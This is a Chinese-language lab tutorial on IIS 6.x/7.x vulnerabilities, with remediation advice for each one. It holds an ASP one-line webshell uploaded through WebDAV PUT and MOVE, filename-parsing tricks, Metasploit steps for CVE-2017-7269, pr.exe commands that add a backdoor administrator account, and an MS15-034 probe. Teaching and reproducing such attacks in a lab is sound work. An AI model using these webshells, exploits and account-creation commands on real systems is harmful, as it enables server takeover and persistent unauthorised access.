原文链接:https://www.freebuf.com/vuls/304741.html
IIS 6.x 攻防详解
IIS写权限漏洞
开启webDAV引起的IIS写权限漏洞(攻击者可以上传文件)
PUT任意上传漏洞
改为允许,并开启脚本资源访问和写入
使用工具已经可以检测出漏洞
修改来宾用户权限
此时创建一个文本文档,输入一句话木马
<%eval request("123")%>
使用工具put方式进行上传
可以看到这里成功通过 PUT 的方法上传了一个含有 asp 一句话的txt文件。之所以不直接上传一个asp一句话木马是因为通常情况下上传txt文本不会出错,但是上传asp就会报错
为了获取shell,这里可以用MOVE方法将刚刚上传的txt文件修改为asp文件,从而将文本文件变成可执行的脚本文件。MOVE协议不会更改文件内容
开启IIS的asp解析功能
使用蚁剑尝试连接
IIS 6.0 在处理含有特殊符号的文件路径时会出现逻辑错误,从而造成文件解析漏洞。这一漏洞有两种完全不同的利用方式:
/test.asp/test.jpg
test.asp;.jpg
第一种是新建一个名为 "test.asp" 的目录,该目录中的任何文件都被 IIS 当作 asp 程序执行(特殊符号是 “/” )
第二种是上传名为 "test.asp;.jpg" 的文件,虽然该文件真正的后缀名是 ".jpg", 但由于含有特殊符号 ";" ,仍会被 IIS 当做 asp 程序执行
IIS7.5 文件解析漏洞
test.jpg/.php
URL 中文件后缀是 .php ,便无论该文件是否存在,都直接交给 php 处理,而 php 又默认开启 "cgi.fix_pathinfo", 会对文件进行 “ 修理 ” ,可谓 “ 修理 ” ?举个例子,当 php 遇到路径 "/aaa.xxx/bbb.yyy" 时,若 "/aaa.xxx/bbb.yyy" 不存在,则会去掉最后的 “bbb.yyy" ,然后判断 "/aaa.xxx" 是否存在,若存在,则把 “/aaa.xxx" 当作文件。
若有文件 test.jpg ,访问时在其后加 /.php ,便可以把 "test.jpg/.php" 交给 php , php 修理文件路径 "test.jpg/.php" 得到 ”test.jpg" ,该文件存在,便把该文件作为 php 程序执行了。
修复建议:
IIS PUT 漏洞完全是因为管理员的一些不当配置导致的,所以修复只需要以下两点:
-
关闭WebDAV
-
关闭写入权限
文件解析漏洞
IIS文件解析漏洞:*.asp;.xxx像这样畸形(IIS 10.0 8.5 都可能存在,属于PHP版本解析漏洞)的文件
IIS只会把他当作xxx.asp文件执行不会看分号之后的内容
IIS目录解析漏洞:以 *.asp 命名的文件夹中的文件都会被当作 asp 文件执行
IIS文件解析漏洞
首先创建一个 Ylion.asp 文件
<%eval request("123")%>
复制该文件进行重命名并访问
IIS 目录解析漏洞
该版本默认会将 *.asp/ 目录下的所有文件当成 Asp 解析
新建两个空的文件夹
分别复制 1.jpg 1.zip 放入,内容和上面的asp文件内容一致,分别进行访问
访问文件夹1下的,依旧是一张图片
访问文件夹1.asp下的,成功被解析
这就是IIS的文件解析漏洞
另外,IIS6.x除了会将扩展名为 .asp 的文件解析为asp之外,默认会将扩展名为 .asa、.cdx、.cer解析为 asp,从网站属性,主目录,配置 可以看出,他们都是调用了 asp.dll 进行的解析:
修复建议:
微软认为这个并不算是一个漏洞,也没有推出 IIS6.0 的补丁,因此漏洞需要自己修复
-
设置权限无
-
不允许新建目录
-
上传的文件需要经过重命名(时间戳+随机数+ .jpg 等)
IIS 短文件漏洞
攻击者可以利用 " ~ " 字符猜解或遍历服务器中的文件名,或对IIS服务器中的 .Net Framework 进行 拒绝服务攻击
就是存在文件枚举漏洞,攻击者可利用此漏洞枚举网络服务器根目录中的文件
简介
Windows 以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于MS-DOS或16位windows的程序访问这些文件。在cmd下输入 "dir /x" 即可看到短文件名效果
IIS短文件名产生:
当后缀小于4时,短文件名产生需要文件(夹)名前缀字符长度大于等于9位
当后缀大于等于4时,文件名前缀字符长度即使位1,也会产生短文件名
目前 IIS 支持短文件名猜测的HTTP方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE六种。
IIS 8.0 之后的版本只能通过OPTIONS和TRACE方法被猜测成功
复现
IIS8.0 以下版本需要开启ASP.NET支持,IIS大于等于8.0版本,即使没有安装ASP.NET,通过OPTIONS和TRACE方法也可以猜解成功
实操一下:
还是找到添加与删除程序,点击添加程序
找到ASP.NET,点击下一步并安装
在web服务扩展里面,右键刷新
随便创建个后缀长度为4的文件:
远程访问一下:
远程访问返回404
访问构造某个不存在的短文件名时,会返回400:
EXP:(利用工具)
https://github.com/WebBreacher/tilde_enum
https://github.com/irsdl/IIS-ShortName-Scanner
工具使用:
安装JAVA7
点击run.bat 输入地址:
输入对应IP,选择no
然后一路回车,就爆破出来了
修复建议:
1.从CMD命令关闭NTFS 8.3 文件格式的支持
windows server 2003:(1代表关闭,0代表开启)
关闭该功能:
fsutil behavior set disable8dot3 1
windows server 2008 R2:
查询是否开启短文件名功能:fsutil 8dot3name query
关闭该功能:fsutil 8dot3name set 1
不同系统关闭命令稍有区别,该功能是默认开启的
2.或从修改注册表关闭NTFS 8.3文件格式的支持
快捷键Win+R打开命令窗口,输入regedit打开注册表窗口
找到路径:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem
将其中选中的那一项的值设为1,1代表不创建短文件名格式
注意:
以上两种方式修改完成后,均需要重启系统生效。
此方法只能禁止NTFS8.3格式文件名创建,已经存在的文件的短文件名无法移除,需要重新复制才会消失
IIS短文件漏洞局限性:
-
如果文件名本身太短也是无法猜解的;
-
此漏洞只能确定前6个字符,如果后面的字符太长、包含特殊字符,很难猜解;
-
如果文件名前6位带空格,8.3格式的短文件名会补进,和真实文件名不匹配;
-
如果文件名前6位带点 "." ,扫描程序会认为是文件而不是文件夹,最终出现误报;
-
不支持中文文件名,包括中文文件和中文文件夹。一个中文相当于两个英文字符,故超过4个中文字会产生短文件名,但是IIS不支持中文猜测
实战用处:
猜后台
猜敏感文件,例如备份的rar、zip、.bak、.SQL文件等
在某种情形下,甚至可以通过短文件名直接下载对应的文件。比如下载备份SQL文件
RCE-CVE-2017-7269
简介
Mcrosoft Windows Server 2003 R2中的Internet信息服务(IIS)6.0中的 WebDAV 服务中的 ScStoragePathFromUrl函数中的缓冲区溢出允许远程攻击者通过以 "If : <http://" 开头的长标执行任意代码 PROPFIND 请求
影响范围:
Windows Server 2003 R2上使用IIS6.0并开启 WebDAV扩展。
复现
EXP:
https://github.com/edwardz246003/IIS_exploit/blob/master/exploit.py
对ip及对应端口进行修改:
任务管理器开启了 calc.exe 进程,因为计算机是网络服务权限打开的,所以我们在桌面上看不见
需要python2环境
漏洞修复
关闭 WebDAV 服务
使用相关防护设备
远程代码执行实战运用
前提条件:
IIS 6.0 开启 WebDAV
确保开启WebDAV
exp下载地址:
https://github.com/zcgonvh/cve-2017-7269
下载后放入msf中,路径为 /url/share/metasploit-framework/modules/exploits/windows/iis/
注意文件名中-修改为_,否则无法识别,然后拿到了shell(失败后靶机恢复快照,否则可能之后的攻击无效)
放入后直接执行:
use exploit/windows/iis/cve_2017-7269
set rhosts 192.168.27.182
失败了,检查原因:
默认网站->属性,在IP地址中未分配,可以解释为非默认绑定。该EXP只适用于默认绑定和默认路径的情况才可以提权
设置完重启系统
批量检测工具:
https://github.com/admintony/Windows-Exploit/tree/master/IIS6_WebDAV_Scanner
python IIS6_WebDAV_Scanner.py -p 12.txt
python2环境执行,检测出长度为19
然后在msf上设置PhysicalPathLength为19
set PhysicalPathLength 19
成功拿到低权用户,然后使用pr提权,利用msf上传pr.exe
upload '/root/Desktop/pr.exe' c:\Windows\system32\inetsrv
然后进行创建用户
pr.exe "net user a002 963852 /add"
添加到管理员组
pr.exe "net localgroup administrators a002 /add
IIS 7.x 攻防详解
解析漏洞
新建png文件,其中写有php语句,直接访问,发现不可以
点击确定,访问路径后面加上 /.php 尝试
成功解析为php文件
IIS 7.x 版本在 Fast-CGI 运行模式下,在任意文件,例:Ylion.png 加上 /.php ,会将 Ylion.png.php 解析为php文件
修复建议:配置cgi.fix_pathinfo(php.ini中)为0并重启php-cgi程序
HTTP.SYS远程代码执行(MS15-034)
IIS的安全脆弱性曾长时间被业内诟病,一旦IIS出现远程执行漏洞威胁将会非常严重。远程代码漏洞威胁将会非常严重。远程执行代码漏洞存在于HTTP协议堆栈中,当HTTP.sys未正确分析经特殊设计的HTTP请求时会导致此漏洞。成功利用此漏洞的攻击者可以在系统账户的上下文中执行任意代码,可以导致IIS服务器所在机器蓝屏或读取其内存中的机密数据。
影响范围
Windows7、Windows server 2008 R2、Windows8、Windows server2012、Windows8.1和Windows server 2012 R2
漏洞影响版本:
IIS 7.5、IIS 8.0、IIS 8.5
复现
在Windows7 上安装 IIS 7.5
访问 IIS 7.5
编辑请求头: Range: bytes=0-18446744073709551615
增加字段,若返回码状态为416 Requested Range Not Satisfiable,则存在 HTTP.SYS远程代码执行漏洞
修复建议
安装修复补丁(KB3042553)